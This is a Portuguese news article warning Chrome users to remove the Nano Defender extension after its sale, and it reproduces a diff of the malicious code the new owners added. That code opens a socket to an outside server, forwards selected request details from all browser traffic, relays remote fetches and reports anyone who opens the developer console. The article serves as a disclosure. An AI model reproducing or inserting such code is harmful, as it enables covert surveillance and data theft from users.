A extensão Nano Defender precisa ser removida urgentemente do navegador





Em 3 de outubro de 2020, o programador jspenguin2017 , autor da extensão Nano Defender, anunciou no repositório oficial que havia vendido o projeto para um "grupo de desenvolvedores turcos". Esta mensagem causou muitos rumores e medos: quem são os desenvolvedores turcos, que controlam o código, por que a página de política de privacidade foi removida do repositório?



Poucos dias depois, os temores da comunidade foram totalmente justificados.



Nano Defender é uma forma bastante popular de contornar bloqueadores de anúncios. Trabalha em conjunto com os bloqueadores uBlock Origin e Nano AdBlocker (fork do uBlock Origin), protegendo-os da detecção em sites.



Os turcos prontamente lançaram uma nova versão do Nano Defender 15.0.0.206 com mudanças de funcionalidade cuidadosamente disfarçadas que não foram publicadas no GitHub. Um exame atento dessas alterações indica que a extensão precisa ser desinstalada para todos os usuários.



A recomendação se aplica a navegadores baseados em Chrome e Chromium, onde as extensões são atualizadas automaticamente sem notificar o usuário. Os turcos não compraram a versão do Firefox. O mantenedor das extensões do Firefox Nano, o desenvolvedor LiCybora , confirmou que mantém o controle sobre elas:essas extensões são seguras . Além disso, o Firefox verifica as assinaturas digitais das extensões , portanto, não é fácil para um código malicioso se amontoar em uma nova versão de uma extensão.



O autor do UBlock Origin, Raymond Hill, analisou as mudanças no Nano Defender 15.0.0.206. Ele observou que o código foi adicionado para detectar o lançamento do console dev da extensão. Nesse caso, uma notificação é enviada reportao servidor https://def.dev-nano.com/. Em outras palavras, os proprietários estão monitorando aqueles que estão tentando descobrir como a extensão funciona. Com alto grau de probabilidade, neste caso, a extensão muda sua funcionalidade.ocultar alguns recursos é um truque de malware padrão que detecta a presença de um ambiente exploratório, como um ambiente virtual.



Em tal situação, Raymond Hill teve que aprender a funcionalidade da nova versão do Nano Defender sem um console de desenvolvimento. Aqui está o que ele encontrou.



Na inicialização, a extensão escuta as https://def.dev-nano.com/mensagens para preencher a lista listOfObject.



Tanto quanto você pode entender o código, a seguir o conteúdo da lista listOfObjecté usado para verificar os campos do objeto detailsque é passado para webRequest.onBeforeSendHeaders () . Se todos os campos atenderem à condição, todo o conteúdo do objeto será detailsenviado https://def.dev-nano.com/com o nome handleObject.



Neste caso, o manipulador webRequest.onBeforeSendHeaders()atua paratodas as solicitações de rede:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


Por ser listOfObjectsolicitado de um servidor externo, a funcionalidade desse método é instalada externamente. A lista pode conter quaisquer condições em qualquer quantidade. Em termos gerais, os proprietários da extensão podem solicitar do navegador quaisquer fragmentos de tráfego de rede de saída a seu critério. Assim, a expansão do Nano Defender se tornou efetivamente um farejador de espiões versátil.



Raymond Hill postou uma diferença que não está disponível no repositório de novos proprietários :



diff para core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


Os desenvolvedores turcos publicaram uma nova política de privacidade para a extensão. De acordo com ele, a extensão coleta e transmite uma grande quantidade de informações para o servidor remoto, incluindo os endereços das páginas visitadas, o tempo de sessões em cada página, o endereço IP do usuário e outros dados. Anteriormente, não havia essa cláusula no contrato de privacidade.



Em geral, a venda de extensões é uma fonte comum de receita para desenvolvedores independentes. Depois de instalar a extensão, muitos usuários não sabem que a extensão foi comprada pelos novos proprietários, e seu computador já está sendo usado em um projeto externo.



Por exemplo, proprietários do serviço de proxy SmartProxyoferecem a seus clientes acesso a uma rede de endereços IP domésticos, que tem cerca de 40 milhões de endereços IP - a maioria dos nós está localizada em computadores de usuários desavisados. Esses computadores domésticos são usados ​​como proxy de tráfego de clientes pagantes.







Outra rede Luminati usa computadores para usuários domésticos que instalaram o aplicativo HolaVPN gratuito como pontos de saída. Essa rede também compra extensões de navegador populares .



Do ponto de vista jurídico, o uso de computadores domésticos "cegos" de usuários para bombear o tráfego comercial é um evento muito duvidoso. Mas os empresários ainda conseguem evitar punições.



Quanto ao programador jspenguin2017 , a comunidadedenunciou suas ações irresponsáveis ​​para vender a extensão, já que dezenas de outros desenvolvedores estavam envolvidos no suporte e na listagem do Nano Defender. Acontece que o jspenguin2017 , sozinho, monetizou as horas de trabalho de outra pessoa.



A extensão Nano Defender já foi removida da Chrome Web Store.



All Articles